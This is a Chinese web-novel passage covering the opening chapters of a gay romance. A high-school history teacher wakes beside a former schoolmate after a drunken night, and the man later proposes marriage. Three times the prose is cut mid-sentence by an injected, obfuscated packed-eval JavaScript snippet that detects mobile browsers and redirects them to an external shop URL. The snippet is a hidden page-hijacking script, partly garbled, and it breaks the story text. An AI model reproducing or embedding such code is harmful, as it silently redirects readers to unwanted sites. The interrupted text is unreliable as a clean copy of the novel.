《结婚对象竟是撒娇怪》 1. 一夜之情 梦境接连不断,方知安蓦地从头疼中醒来。 这是在......哪? 宿醉让脑袋昏沉,方知安没摸到眼镜,只能抻着酸胀的眼皮观察四周。 这里大概是某家酒店,只是,自己为什么会在这? 他纳闷着想要起身,下半截身体却酸麻不已,疼得厉害。 方知安睁大眼,一下清醒不少。 胸口好闷,身上好像压着某些东西。 他不满地蹙眉侧目,这才发现自己腰上竟然还搭着一条手臂。 意识到有什么不对劲,他猛然回头——自己身后居然躺着一个男人! 房间内一片昏暗,方知安看不清他的面容,脑内警铃大作。 他没收力,狠掐了一把自己的手掌。 好痛,不是梦。 男人、酒店、莫名其妙的酸痛,这些东西不约而同的指向同一件事。 方知安僵着脖子一点点移动视线,呼吸几近停止。 身后的男人上半身赤裸着,肩头满是青红的抓痕,像是指甲留下的痕迹。 不......会吧? 方知安手指无知觉蜷了蜷,但直到此刻他才发现,自己竟然□□! 窘迫的现状让他彻底乱了阵脚,偏偏腰上那只胳膊搂得很紧,像铁铐一样纹丝不动。 乱了套了真是! 方知安面色难看,屏住呼吸刚要挣脱,身后的人就缓缓睁开了眼。 男人睡眼朦胧,下意识收紧了胳膊。 方知安吓了一跳,直往床边挪,结果胳膊肘突然碰到了什么冰凉的东西。 “嘀——” 伴随着一声机械音,房间一侧的窗帘徐徐滑开,明亮的光线倾泻而进,昏暗不复,方知安在看清面前的人一霎瞳孔骤然收缩。 怎么、怎么会是他! 洁白的被子簌簌滑落,床垫柔软下陷,坐起身的男人面容硬朗凌厉,眉目间还残留着些许惺忪。 他顶着锁骨上两个不大对称的牙印,静静看向方知安,竟有点像兴师问罪。 原先挂在腰上的那条胳膊被主人无声收回,屋内的氛围变得凝滞怪异。 两人面面相觑,空气寂静的可怕。 方知安的喉结上下滚动,全身僵硬无比,似是觉得不可置信。 宕机已久的大脑在此刻被迫开机,有关昨晚的记忆争先恐后地涌了回来。 方知安记得自己本想趁着暑假最后几天再回趟舅舅家,可谁知道常走的路上出了车祸,道路被封无法正常通行。于是他听着耳边的导航换了另一条路。 这本该是一个平常的夜晚,但不知是不是巧合,车子开过街道时,方知安竟撞上了男友的出轨现场。 白天还发消息想约他出去吃饭的男人此时正挽着一个小男生从宾馆里出来,两个人满面笑意,一派浓情蜜意。 那个男生看起来年纪不大,脖子上吻痕明显,刚走没两步就踮脚往身边的人脸上亲了一口。 方知安愣了一会儿,他开始怀疑自己的眼睛。还没来得及生出什么情绪,后车不耐烦的喇叭声就打破了一切。 “喂,你到底走不走?!”后面的司机降下车窗大声喊。 司机恼火着,刚想接着嚷,就看见前边的车猛地调转方向在路边的车位上停了下来,随后一个面容清隽的青年从车上走了下来,车门关得极响。 方知安下车前给舅舅拨了电话,没提别的,只说自己今晚有事来不了了。 没有一点迟疑,他十分平静地走到了二人身前。 看着从天而降的方知安,何泽瞬间一脸菜色,他不知道方知安看到了多少,只一心想要把那只胳膊先抽出来。他别扭地动作,还不忘支支吾吾地解释这是一个误会。 “知安,你别误会,他、他就是我一个弟弟。” 男生不明所以,只是下意识贴到了何泽身边,低声问:“他是谁啊?” 方知安见状无言挑眉,脸上没有多余的表情,一向带笑的面容上满是寒霜。 眼下的事态已经足够明了。 他完全无视何泽的狡辩,转向小男生,问:“他是你对象?” 男生愣了愣,随后耿直地点点头。 方知安深吸一口气,没忍住笑出了声。 他活这么大,从没想过自己竟然能遇见这么无语的事。 他长得好看,哪怕是在生气,笑起来也依旧让人移不开眼,何泽没见过,一下子愣住了神。 方知安这人向来好脾气,不爱红脸,在外面也不喜欢和人争执费口舌,此时照样不例外。 他先礼后兵,微笑着对男生说:“麻烦你让让。” 男生还没反应过来,下意识就听着他的话往后挪了挪。 下一秒—— “啪!” 一记清脆的耳光直直打上了何泽的脸,力道之大直接让他偏头后退了半步。 方知安一点没收劲,整条街的人都听得见,周围路过的人都为之侧目。 “你、你你!”何泽被彻底打懵,过了好几秒才反应过来刚才发生了什么。 那记巴掌响亮干脆,他的脸上立即浮出了一个红色的掌印。 何泽好面子,四周投来的目光和窃窃私语让他脸上无光,但他不占理,也不敢还手。男生也被这一巴掌搞傻了,木然地看了眼身边狼狈的男友,又看向对面的方知安,呆若木鸡。 方知安手心发麻作痛,喘息稍急,但心里却舒坦了不少。 他最后瞥了一眼面前的男人,冷声道:“何泽,你好自为之。” 引擎声很快响起,方知安打了把方向盘离开,但他心里还是觉得压着一股气,出轨的毕竟是他的男友,而且是他亲眼所见,因此他并没有看起来那么平静。 无名的火烧着,方知安轻嗤一声。 哦,现在是前男友了。 手机叮叮咚咚响个不停,方知安侧目看了眼,来电人显示何泽。 他微感反胃,看见这俩字都嫌恶心。 随便找了个车位停下,方知安连骂人的话都懒得说,直接拿起手机干脆利落地将何泽的所有联系方式一口气拉黑删除。 八月末的夏天依旧火热,待在车里闷得慌,方知安推门下车想要喘口气,刚出来却发现旁边竟然正好是一间酒吧。 不知道哪冒出来一股冲动,方知安熄了火拿起车钥匙,走进了那间他从未造访过的酒吧。 后来,他依稀记得自己喝了不少酒,但度数都不高。 他本以为没事,不过或许是高估了自己的身体,才两三杯下肚他就觉得身上有些热。 忘记到底是什么时候失去了意识,方知安只记得自己喝醉后似乎抱住了一个男人。 此后,一切就断了片。 而从现在的结果看来...... 他闯祸了,并且这祸还不小。 毕竟昨夜和他睡了一觉的不是什么陌生人,而是他以前的学弟——霍觅。 看着那张脸方知安眼睛都瞪圆了,他没想到自己醉酒后方向全无的一抱,居然还能抱到半个熟人身上。 真是作孽。 霍觅垂着眸,坐在床上配合着他沉默,似乎是在给二人提供缓冲的时间。 他看起来比方知安冷静不少,但也没有好太多。 凌乱的被子遮掩住精壮赤裸的上身,下垂的眼角微红,像是受了什么委屈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073665|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事如果遇上的是陌生人,直接走人也不过分,但偏偏方知安现在遇上的是霍觅,搞得提裤子的动作都变得不太道德。 思及此,他有点别扭地移开眼,余光却不由自主地触到了那些昨夜留下的痕迹。 褶皱的被单、地上的衣服、还有一些用过的东西。不管怎么说,他们还、还挺讲卫生。 良久,等到屋内的氛围稍有回升,霍觅终于动作,他抬手拉起一点被角盖到自己身上,遮住了身上那些暧昧泛青的抓痕。 片刻后他抬眼,带着一些水汽开口问:“你会负责的,对吗?” 方知安怔住,脑内缓缓浮出一个问号。自己这是被讹上了? 荒谬感上涌,如果他现在没感觉错的话,昨晚被睡的人似乎是他? 他被霍觅一句负责砸得头晕,哑然片刻后解释道:“昨晚是我喝醉了,有些事我记不太清。” 霍觅闻言抿了抿唇,随后视线直直落在方知安身上。他眉眼深邃,看人时本该凌厉,但此时却不显锋锐。 方知安刚想接着说,就被霍觅打断。 “昨晚你抱住了我......但我也喝醉了,这事,是个意外。”霍觅低声说。 “这样吗,”方知安慢半拍回过神,黑发凌乱,乌亮的眼眸带着茫然,“那你刚才说的负责指的是什么?” “我比较传统,这是我第一次和人发生关系,所以......我希望可以有个好的处理方式。”霍觅稍稍移开视线,软下语气,方知安竟然从中觉察出几分委屈。 方知安见不得这个,不知从何而来的负罪感瞬间油然而生,他默默,等着霍觅继续说下去。 方知安缩在被子的一角,裸露在外的皮肤上了布满了痕迹。 霍觅似乎是看出了他的窘迫,没有继续开口,反而掀开被子下了床,酒店窗帘隙开了一条缝,将他优越的身材照得一览无遗。 几秒后一只骨节分明的大手闯入方知安的视线,霍觅递来他的T恤和裤子放上床沿,并贴心地走进了洗手间,给他留出了空间。 方知安松了一口气,但刚抬腿想要换衣服就疼的出了声。 他皱着眉,只觉得两条腿都有点不听使唤,折腾了好一会儿才把衣服穿戴整齐。 对于床上的事方知安彻底没了印象,但就现在尚且良好的情况看来,霍觅应该帮他洗过澡。 他不敢细想那些画面,一想就遭不住,浑身上下不自在。 很凑巧,他刚站起身霍觅就从里面走了出来。 他披了件深色的浴袍,靠近时带着一点牙膏的薄荷味,很清新。 方知安从床脚找回消失的眼镜,这会儿还摸不准现在的霍觅是否记得自己这个年代久远的学长,心里正斟酌着要如何开口。 结果下一秒,他放在床头的手机突然震动了一下。 方知安拿起来看了眼,发现是条微信消息。 不知多少年没联系过的人,从聊天列表底下一跃而上,再度出现。 【20级金融霍觅:文件:体检报告20270815.pdf】 方知安怔愣后打开,发现这正是霍觅不久前的体检报告。上面项目诸多,结果清晰,昭示着霍觅的健康的身体状况。 他起先没反应过来,慢半拍才意识到,霍觅大概是想让他放心,不用担心和他上了床会得病。 而他既然还能从那么多的联系人中找出自己,那说明...... 方知安捏着手机抬头,正对上霍觅的眼睛。 面前的人弯下腰,给他递来一板消炎药和一杯水,冲着方知安笑了笑,说:“学长,我刚才就想说了——” “好久不见啊。” 2. 谁来开会 方知安接过消炎药,原本斟酌了一半的话语被打乱。 身上的酸痛再度冒出头,他说:“谢谢,是好多年不见了。” 霍觅也没急着叙旧,只是坐到他身边说:“先吃药吧,昨晚我太冒失,你现在还好吗?” 他长得很有攻击性,但静下来看人的时候目光又沉又深。现下眼角挂着一点笑,看起来很真挚,方知安被他盯得有些不好意思。 “哦好。”他应了声,扣开铝箔纸吞了粒消炎药下去。 玻璃杯里的水是温的,顺着喉管滑下,让他原本刺痛的嗓子都舒服不少。 吃完药他才想起方才霍觅的问题,紧跟着说:“那个,我没事。” 霍觅如有实质的视线缓缓移开,他指了指方知安的手机:“体检报告我发你了,健康这块儿你不用多想,也省的还要去医院跑一趟。” 他这话说的实在,不管二人是不是旧识,以前交情如何,突然和人滚上了床,总不能不管不顾拿自己的身体来开玩笑。要是不知道对方的身体情况如何,总少不了还要做一次检查。 礼尚往来,虽然用在这会儿有些不合时宜,但方知安也马上拿起了手机。 “我也有,你等着我给你找找。”方知安想到暑假学校组织的体检,于是也把自己的报告找出发了过去。 这事从刚开始的惊愕意外发展到现在,起初的讶然都消去不少。 都是成年人,既然事情已经发生,也不必斤斤计较。 最起码方知安自己是这么想的。 “你说要我负责,”方知安想起那句砸了他一下的话语,“我没什么头绪。” 他偶尔会听以前的校友提起,也知道霍觅现在事业有成,有自己的公司,应该是什么都不缺。 方知安仔细一思索,想不出什么合理的方案,而这事自己也不算吃亏,全当是发泄了。 他做事不喜欢拖着,有什么问题最好马上解决,因此又主动挑起话头,将建议的权利移交到霍觅手里。 霍觅离方知安只有一掌距离,他半垂着眼,看起来很无辜。 他对方知安说:“我想寻求一个妥善的,对我们都负责的解决方式,但暂时还没确定,所以可以给我点时间吗。” 方知安默然,以为他这是准备体面解决。 成年人惯常的做法,遇上大事先拖出段冷静期,等到时间一长,再回看的时候也就不算什么了。 他自以为明白了霍觅的意思,于是很爽快地点了头。 霍觅接着问:“那我回头想找你,可以微信联系吗?” “行啊。”方知安笑笑。 酒店房间宽大,但霍觅偏偏要坐方知安身边。 他似乎还想再说些什么,但手机却突兀地响了起来。 那是工作上的电话,霍觅瞥了一眼很快接起。 来电的是他的秘书,霍觅沉下声应答。 “嗯,好。你让他们再等会儿,我马上过来。 “对了,给我送套衣服到普林,我在1308。”霍觅语气平静,随后挂断了电话。 他的运气比方知安差一点,方知安的衣服上没什么东西,拎起来就能穿,而他价格不菲的西装上却一片狼藉。 “你是不是公司有事?”方知安小心问,“要有事那我就先走了吧。” “.......好,”霍觅沉默了片刻,“房费我已经付过了,这里离那家酒吧不远,直走就可以到,我看见你有带车钥匙。” 方知安听他这么一说这才想起那辆被自己遗忘的汽车,他又在心里感叹了一遍霍觅的细心,站起身就准备离开。 “学长。”霍觅这时突然叫住他。 方知安回头,看见霍觅微笑着冲说:“再见。” 他暗自认定,想着这就大概是前一夜最后的帷幕,因此也礼貌回应:“再见。” * 方知安没直接回家,坐上车之后他绕路去了趟舅舅那。 今天是周日,全家人都在,他进门的时候方正国正在帮方奕文看作业。 方奕文原本耷拉着脑袋一幅半死不活的样子,一看见方知安进门就瞬间打了鸡血。她“噌”的一下跳了起来,直接跑到门口一把抱住了方知安。 “哥!我想死你了,你昨晚干嘛去了,为什么不来吃饭!”方奕文叽叽喳喳,像只活泼的麻雀,绕着方知安转个不停。 方知安失笑,抬手揉了揉方奕文的脑袋,他抱歉道:“昨晚真有事,你看,我现在不是来了吗。” 方正国看着女儿那样子也觉得好笑,他把在厨房忙活的祝莉叫了出来。 “你看谁来了。” 方知安换个鞋子的功夫,祝莉拿着勺跑出来和女儿一块儿埋怨方知安的失约。 方知安可不敢跟她们母女俩呛声,只好双手合拢诚恳道歉:“抱歉抱歉,我真知道错了,今天中饭一定多吃一碗。” 方奕文哼哼笑出了声,还没来得及高兴,就被自己老爸揪回了书桌前。 她刚上初三,正是升学的关键时期,在学校成绩不错,就是爱玩了些。 方知安没过多打扰,找不着事干,干脆进了厨房去打下手。 “知安啊,你最近和小何处的怎么样,你何姨一直说很喜欢你,想让你们两个快点定下来。”祝莉拿牙刷洗着螃蟹,见方知安进来就随口一问。 方知安动作稍顿,没马上回答。 父母离异后他跟妈妈回了外婆家,而在妈妈去世后他就一直跟着舅舅一家生活,直到工作后才搬了出去。 舅舅舅妈对他很好,在他坦白性取向后也没有横加指责,只是担心他以后的生活。 前两年政府通过了同性婚姻,祝莉总挂心他,因此在给他找个伴这件事上乐此不疲。 何泽就是方知安在祝莉推荐下认识的,家庭条件好,人长得周正,工作也体面,在相亲市场上极具竞争力。 方知安因为幼时双亲的缺失,本身也十分向往拥有一段稳定的关系。 前几年刚工作,方知安也没心思处对象,现在渐渐步入正轨,方知安就依着祝莉的意思去相了个亲。 何泽算是他第一任男友,而方知安确实用心在经营这段感情。 但现在......他还是决定实话实说。 “舅妈,昨晚我没来是因为何泽。”方知安拿起白菜走到水槽旁边。 “怎么了,你俩吵架了啊?”祝莉纳闷。 “没,”方知安闷声说,“我分手了。” “啊?”祝莉愣住,她立马停了手上的动作,“为什么啊,是不是小何对你不好?” 方知安不爱在背后说人坏话,虽说这事是何泽的错,但他还是懒得拿出来说道。多一事不如少一事,他不想再让舅妈跟着一块儿生气。 “我们俩不合适,相处不来,就分了,”方知安笑笑,“舅妈你别担心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073666|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝莉面露怀疑,但还是没多问。方知安见状连忙岔开话题,后来跑远了,祝莉也就不提了。 到了饭桌上,乐天的方奕文开开心心剥了个螃蟹,她说:“哥,你们学校要开学了吗,今年你是不是要带高三啊。” 方知安把放了姜末的醋碟移到她面前,点点头:“后天就开了,是高三,就之前的班。” 方奕文蘸了蘸,扬眉道:“明年我也上高中了,我要去你们学校读书。” 祝莉腾出手拍了把她的脑袋,唠叨起来:“你就吃吧,一中可是重点高中,接下来好好学,别成天想着玩。” 方知安笑着说:“我当然热烈欢迎,你考上了我请你吃大餐。” “嘿嘿好。”方奕文对美食的热衷非同一般,听这话乐得不行。 中饭后方知安回了学校附近的职工宿舍。 在此期间他的手机一直很平静,有来自学校的消息,也有一些别的,但没有霍觅的。 二人的对话框很简短,上面是七八年前加好友时自动发送的消息和一些简单对话,再往下就是两份面对面的体检报告。 还挺滑稽。 何泽倒是锲而不舍,换了号也要打电话过来。 方知安不手软,来一个拉黑一个,过了段时间,那头也终于消停了。 他不再多想,把手机扔到一边打开电脑准备起了开学要用的东西。 他大学读的是历史专业,后来跑去了高中当历史老师,今年还是第一次带高三,心里压力不小。 按照一中惯例,每届高三开学后都会有返校考,然后学校会顺势召开高三年级第一场家长会。 和家长打交道让人头疼,偏偏方知安是班主任,带的还是学校寄予厚望的实验班,必定要在这块儿花上不少的心思。 两天时间一晃而过,高三生成为最早开学的那批人。 烈日炎炎,校园里蝉鸣不断。 高三(2)班教室里出奇安静,方知安走到门外时心里就有所猜测。 果然,刚走进去入目便是一片萎靡,所有人都一副没睡醒的样子。 “大家都打起精神来,下午就要考试了。”他清了清嗓子。 这一声下去全班更是哀嚎遍野。 “不想考试!方老师你救救我们吧。”不知是谁在喊。 “我无能为力,你们自求多福吧。”方知安抿着笑,指挥着同学先把教室卫生打扫干净。 这次开学测验一连考了两天,方知安东奔西跑,一通监考批卷下来累得腰酸背疼。 结果他刚一撑上腰又想起之前那个混乱暧昧的夜晚。 尴尬和不自在随着时间消失殆尽,他只能依稀想起霍觅宽阔的肩和扎手的发尾。 不能再想了。 他摇摇脑袋,将那些零星的片段晃了出去。 他的桌子在最后排,傍晚的办公室没什么人,不远处开门的声音变得很清晰。 方知安眯了眯眼,看着走近的来人问:“梁巡?你有什么事吗。” 梁巡一步步挪到桌前,摸了摸自己的后脑勺,开口问:“那个,方老师,家长会可以不是父母来吗?” 方知安说:“可以啊,怎么了,你爸妈有事吗?” “嗯,”梁巡哽了一下,跟着重复,“对,他们有事。” “那谁来给你开?”方知安继续问。 梁巡的视线飘开一点,他干巴巴说:“我哥。” 3. 结婚对象 “你哥?”方知安眉头稍皱。 梁巡是他班上成绩前列的学生,这可惜这次开学考发挥的有些失常,特别是在历史这一门。 方知安和梁巡的交流不少,但以前从不知道对方还有个哥哥。 梁巡说:“我爸妈最近出差了不在家,所以让我哥哥来开家长会。他比我大好多,这应该可以吧?” 方知安了然:“我回头问问你妈妈,只要她同意就行。” “好的,麻烦老师了。”梁巡说。 “行了,没事就先回去吧,等会儿上课了。”方知安看了眼时间催促道。 走出办公室的梁巡长舒一口气。 他其实自己也不明白哥哥为什么要来开他的家长会,但他根本没有拒绝的余地,只能心虚着跟方知安扯谎。 “抱歉啊方老师。”梁巡深感不安,嘟哝着溜回了教室。 方知安教的历史是选课,教学压力比起主课老师会小不少,但他身上还挂着个高三历史组备课组长的名号,每天忙得连轴转,喝口水都奢侈。 家长会的日期最后定在周六下午,结束了家长就可以顺带把人领回去。 到了那天,方知安特地从衣柜里找出了件比较正式的衬衫。 他年轻,面孔又偏向柔和隽秀,看起来不像老教师那么有信服力,遇上这种场合总容易被人看轻。 幸好一中实验班的家长都比较明事理,也没什么人会来难为老师。 因为知道今天可以提前放假,上课时学生们的热情都高涨了不少。 轮到最后一节课,方知安在吱呀轻响的风扇下给学生分析错题。开学考的卷子是他出的,题目不算难,但基础不扎实也拿不到高分。 方知安任教的二班这次答得着实一般,这样可不行,他思来想去,最后决定给学生们加点任务。 越是临近放假,教室里的私语声就越是压不住。 他微微一笑,勾起的眼尾像狐狸似的,前排的学生大感不妙,率先背脊一凉。 “下个星期开始,我们每天都进行上课抽背。具体的提纲我会印好发下来,大家记得做好准备。”方知安郑重其事地宣布。 此话一出,顿时群情悲愤。 “啊!不要啊,老师你不爱我们了吗。”班上的男生率先出声。 “方老师你就饶过我们吧。”余下的同学紧随其后。 “到时候背不出就来办公室继续,”方知安板起脸,一幅没得商量的样子,“直到背出为止。” 学生们顿时如遭雷击,只能靠着一点关于放假的念想来自我安慰。 “叮叮咚~” 下课铃声在这时准时响起,方知安从不拖课,利落地拾好卷子就出了教室。 二班在三楼的最东边,和办公室离得很远。方知安往下看,不远处的校门口人头攒动,已经有很多家长抵达了学校。 “唉,又是一场恶仗。”迎面走来的数学王老师拍了拍方知安的肩,他头顶为数不多的头发散落一边,脸上带着显而易见的疲惫。 方知安与他交换了一个无奈的眼神,快步回去拿了等会儿要用的u盘,里头存着家长会的ppt。 不过五六分钟过去,教室里就只剩下寥寥几个学生。 一中的高三生半月一放,每次临近回家都跟出圈的野牛一样,拦也拦不住,直往外冲。 方知安在教室的电脑上拷贝好ppt,透过教室玻璃看到梁巡搭在栏杆上往下看,于是走到他身边问:“等你家长呢。” “嗯,”梁巡应声,眼神在人群中扫来扫去,“我都好久没见过我哥了。” “估计快到了,你再等等吧。”他说了句,然后就蹲下去把挂在墙上散开的雨伞整理起来。 还没等他抬头,就听见一声响亮高兴的叫唤。 “哥,这里!”梁巡冲楼梯口招着手。 伴随着他的声音,一个身材高大的男人从靠近二班那侧的拐角走来。 他面容年轻俊朗,身上还穿着齐整熨帖的西装,看起来一丝不苟,像是刚从什么商务场合赶过来,和身边的叔叔阿姨格格不入。 方知安刚直起的身体彻底僵愣在原地,他呆呆看着逐渐走近的男人,大脑一片空白。 霍觅,他怎么在这? 他突然意识到什么,转向梁巡问:“他是你哥?” 梁巡闻言乐呵呵地回:“对啊,就是我哥,是不是很帅?” 两人说话的功夫霍觅已经走到了面前,他先是摸了摸梁巡的脑袋,随后看向方知安,眼里含着一点了然的笑意。 他礼貌开口,却又明知故问:“是方老师吗?” 方知安局促了一瞬,很快回道:“是我,那个,家长来了的话就先进去吧。” 他一见着霍觅就有种说不出的感觉,那点模糊的回忆翻来覆去,搞得方知安耳根子不由泛热。 “哥你就先进去吧,等开完了我们一块儿回家。”梁巡推着霍觅往前,顺便指了指自己的位子。 听见弟弟催促,霍觅却说:“你等会儿自己回家,家长会结束了我还有别的事,晚饭就不回来了。” 梁巡不大开心,但还是闷声应了下来。 “又不回家,小心我跟妈妈告你的状。”梁巡不满地小声抱怨。 方知安一步步挪到门口,他比对着这两张脸,发现长得确实挺像。只不过霍觅比起梁巡更成熟,从五官到周身的气场都更加凌厉。 在这见到霍觅虽然意外,但并不会让他多慌乱,方知安只把他当做普通家长,没有什么多余的举动。 当然,他们也没有交谈的机会,因为家长们比起学生更准时,没一会儿就把教室填满了。 方知安把思绪里无关的东西都清理了出去,全身心投入到工作中。 他控制着目光不往霍觅那边走,但霍觅却一直看着方知安,梁巡留下的水笔被他握在手里,用指尖轻轻拨弄。 方知安清瘦,皮肤很白,穿着一身板正的衬衫看起来干净挺拔。 霍觅见过他摘下眼镜的样子,像是懵然的猫科动物,看起来柔软而矜贵,与现在有些清冷的模样截然不同。 在场所有人,除了霍觅年纪都比方知安大。 但他一点也不露怯,气质稳妥沉静,有条不紊地分析学生成绩,话语里又带着点恰到好处的幽默,与家长的互动也和谐,班上的氛围一直十分活跃。 转身给ppt翻页时他腰部的衬衫被扭身的动作拉长,褶皱堆叠在一起,衬得那一截腰很细。 霍觅下意识看了眼自己的手掌,随后又抬起了头,这次却不偏不倚和方知安来了个对视。 讲台上的人不动声色偏开头,露出耳后一点红。 霍觅倒坦然,目光一错不错落在方知安身上。或许是工作的缘由,那让他看起来严肃正经,就算放在班里也不突出,确实像个家长。 方知安班上的会议比其他班结束的稍微晚些。 结束后对自己家孩子不放心的家长留下来和老师多说了两句,等到这些都处理完,整层楼都显得有些寂静。 方知安关了班里的空调和电扇,脑子里琢磨着晚饭要吃点什么,没注意看路。 走出教室一阵晚风迎面吹来,他抬眼,却瞧见不远处一个人抱着外套靠在栏杆上。 那模样像是在等人。 等候已久的霍觅转头看向他,眉梢轻抬:“方老师下班了?” 方知安愣了愣:“你怎么还没走,梁巡呢?” 霍觅说:“他自己先回家了,我留在这跟他没关系,只是单纯为了等你。” “等我?”方知安不明白,“你等我做什么?” 霍觅摇头:“之前我说的妥善处理,你不记得了?” 他看着方知安,眼底压着些期待,落下话音后就等待对方的回复。 方知安被他这么一提醒才想起来当时霍觅的话,但他以为那事已经过去了,这几天的繁忙更是让他把那些都抛到了脑后。 “你不是说要发消息吗,我以为这事已经翻篇了。”方知安也没含糊,往他身边栏杆上一靠。 霍觅语气放缓:“原本是打算发消息的,但后来我总觉得不太正式,有些话得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073667|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当面说。” 夕阳在不知不觉间已经落下,最远的天边被渲出一片夺目的红。耀目的金芒在云层间闪动,几经辗转,最后落到了教学楼的走廊上。 傍晚热意不减,霍觅笑着问方知安:“所以,方老师,我可以邀请你一起去吃晚饭吗?” * 职工宿舍离学校很近,方知安为了省事一般走着去学校,因此在应下邀请后他坐上了霍觅的车。 霍觅的车很低调,车内没有刺鼻的香味,只有一股很淡的草木味。他怕方知安不自在,上车后找了个有趣的车载广播,安静的车厢内登时被带着电流音的笑声充斥。 穿过逐渐亮起的斑斓,他们抵达了目的地,这是一家高档的餐厅。 霍觅一早定好了位置,落座时他似乎是嫌热,于是解开了衬衫领口的扣子。 布料偏开,方知安隐约间看到了还没完全消退的齿痕,虽然过去了一段时间,但那些痕迹依旧明显。 霍觅等餐上齐才继续之前的话题。 “所以你想出了什么方案?”方知安忙了一天饿的发晕,先吃了一点前菜垫垫肚子。这个餐厅的味道非常不错,除了贵他挑不出什么缺点。 霍觅闻言抬眼,认真问他:“学长,你有考虑和我结婚吗?” 一道惊雷猝不及防落下,方知安手中的叉子撞上了瓷盘,碰出了一声响。 “什......么?”方知安被猛地一惊,瞪圆了眼看向霍觅,毛都炸开,“你认真的?” 霍觅与他对视,而那双眼睛很明确告诉他这并不是玩笑话。 “我是认真的,”霍觅继续说,“或许有些冒昧,但我稍微了解了一下你的近况,我知道了你在相亲。大多数人相亲的目的是成家,既然如此,结婚对象这方面可以考虑我吗?” 霍觅又重复了一遍,谈吐间并未将自己放到多高的位置,恰恰相反,他敛起本该有的倨傲,将姿态降得很低。 方知安起先被他震得不轻,但在霍觅礼貌的等待中他飞速平静下来,迟滞的大脑跟着运转。 面前的人事业有成,不论从外表还是内里看,条件都无比优越。这样的人放在相亲市场上竞争力几乎是一骑绝尘的。 那他为什么非要选择自己?难道只是因为那一晚吗。 二人以前是有些交集,但那都是多少年前的事了,要不是两人的记性都还不错,再遇上时说是陌生人也没什么可奇怪的。 思绪百转,方知安没准备藏着掖着,他直言:“只是因为那一晚吗,如果是这样的,代价会不会太大了?” 霍觅不置可否,他说:“那一晚或许是最关键的因素,但事实也不止于此。” “我的家庭也在为我寻找相亲对象,但由于我的取向,这并不容易。而从我个人的角度来说,我并不想和一个完全陌生的人接触。但你不一样,我们的方方面面都很契合。所以我说结婚,是认真的。” 霍觅的眸色深沉,像是一片广阔的海,将方知安尽数包裹。 方知安哑然,这突如其来的一切原本很是荒谬,但他跟着霍觅的话语兜了几圈,再停下时却觉得这好像确实是个不错的提议。 他们一个想要结束父母的唠叨挂心,找一个省时省力的对象。 而另一个则因为儿时遭遇,格外渴望一段平稳安定的关系。 方知安有些恍惚,他看着面前的人,心里不上不下,仍在思忖。 霍觅见状将此前准备好的东西用一并发了过来。 消息带来一声震动,方知安点开,看见里面是霍觅自己以及他公司的资料,事无巨细,面面周到,甚至还包括了他的个人习惯,方知安一眼就看见了不抽烟不酗酒那六个大字。 “学长,我想我会是一个不错的对象。”霍觅笑着看他。 到底是年纪小,他说学长那两字的时候不轻不重,总像在撒娇。 锁骨上的齿痕在面前晃悠,方知安收回视线,放在桌下的手缓缓蜷起。 过了一会儿,他开口道:“这次轮到你给我一点时间。” “让我考虑考虑。” 4. 那领证吧 方知安刚回家就直接往床上一躺。 刚才在餐厅,他和霍觅也算是互相交了底,只不过关于家庭那块方知安没说全,暂时留了点余地。 前去赴约之前他曾有过许多猜想,但最后霍觅抛出来的选项仍是远远出乎他的预料。 谁能想到所谓的负责方式竟然是结婚? 霍觅的神情,以及那些说话的模样在他脑内不间断循环播放,方知安翻了个身,将脸闷进了被子里。 他心中的天平已经悄然倾倒,但最终决定性的砝码仍悬在半空没有落下。 几分钟前霍觅送他到了楼下,方知安推车门时听见他说:“不用着急,你有很多时间可以考虑。” 方知安站在车外,霍觅被安全带限制,于是在驾驶座上俯下身,歪头朝他笑了笑。 “学长,我会等你答复的。” 职工宿舍的楼道老旧,方知安住在五楼,他一层层往上走,声控灯随之亮起。 直到楼上亮起的灯光尽数熄灭,楼底的黑车才沿着进来的路缓缓驶出。 脑子有点混沌,方知安洗完澡上床又打开了霍觅发来的那个文件。当时在餐厅里太匆忙,他没来得及划到底,回了家方知安这才看见下面还有两份协议——关于婚前婚后财产的分配。 两人微信的对话框简短依旧,方知安回想起以前,自己和霍觅那些不算多的交集。 他们专业不同,所属的学院也不相同,之所以认识是因为同在一个社团,除了参加社团活动外根本见不着面。 印象里的霍觅有些冷然,不管对谁都面无表情,像个冒寒气的冰块。当时社团里的人都戏称他是高岭之花,只可远观,根本没法靠近。 只是有些凑巧,社团里每次分组做任务霍觅都会被分到方知安那,两人的联系方式也是在那会儿加上的。 方知安做事认真,但社交是他的短板,他们的社团有许多面向外界的活动,每当他应付不来的时候霍觅就会帮着处理,一来二去,二人也不算生疏。 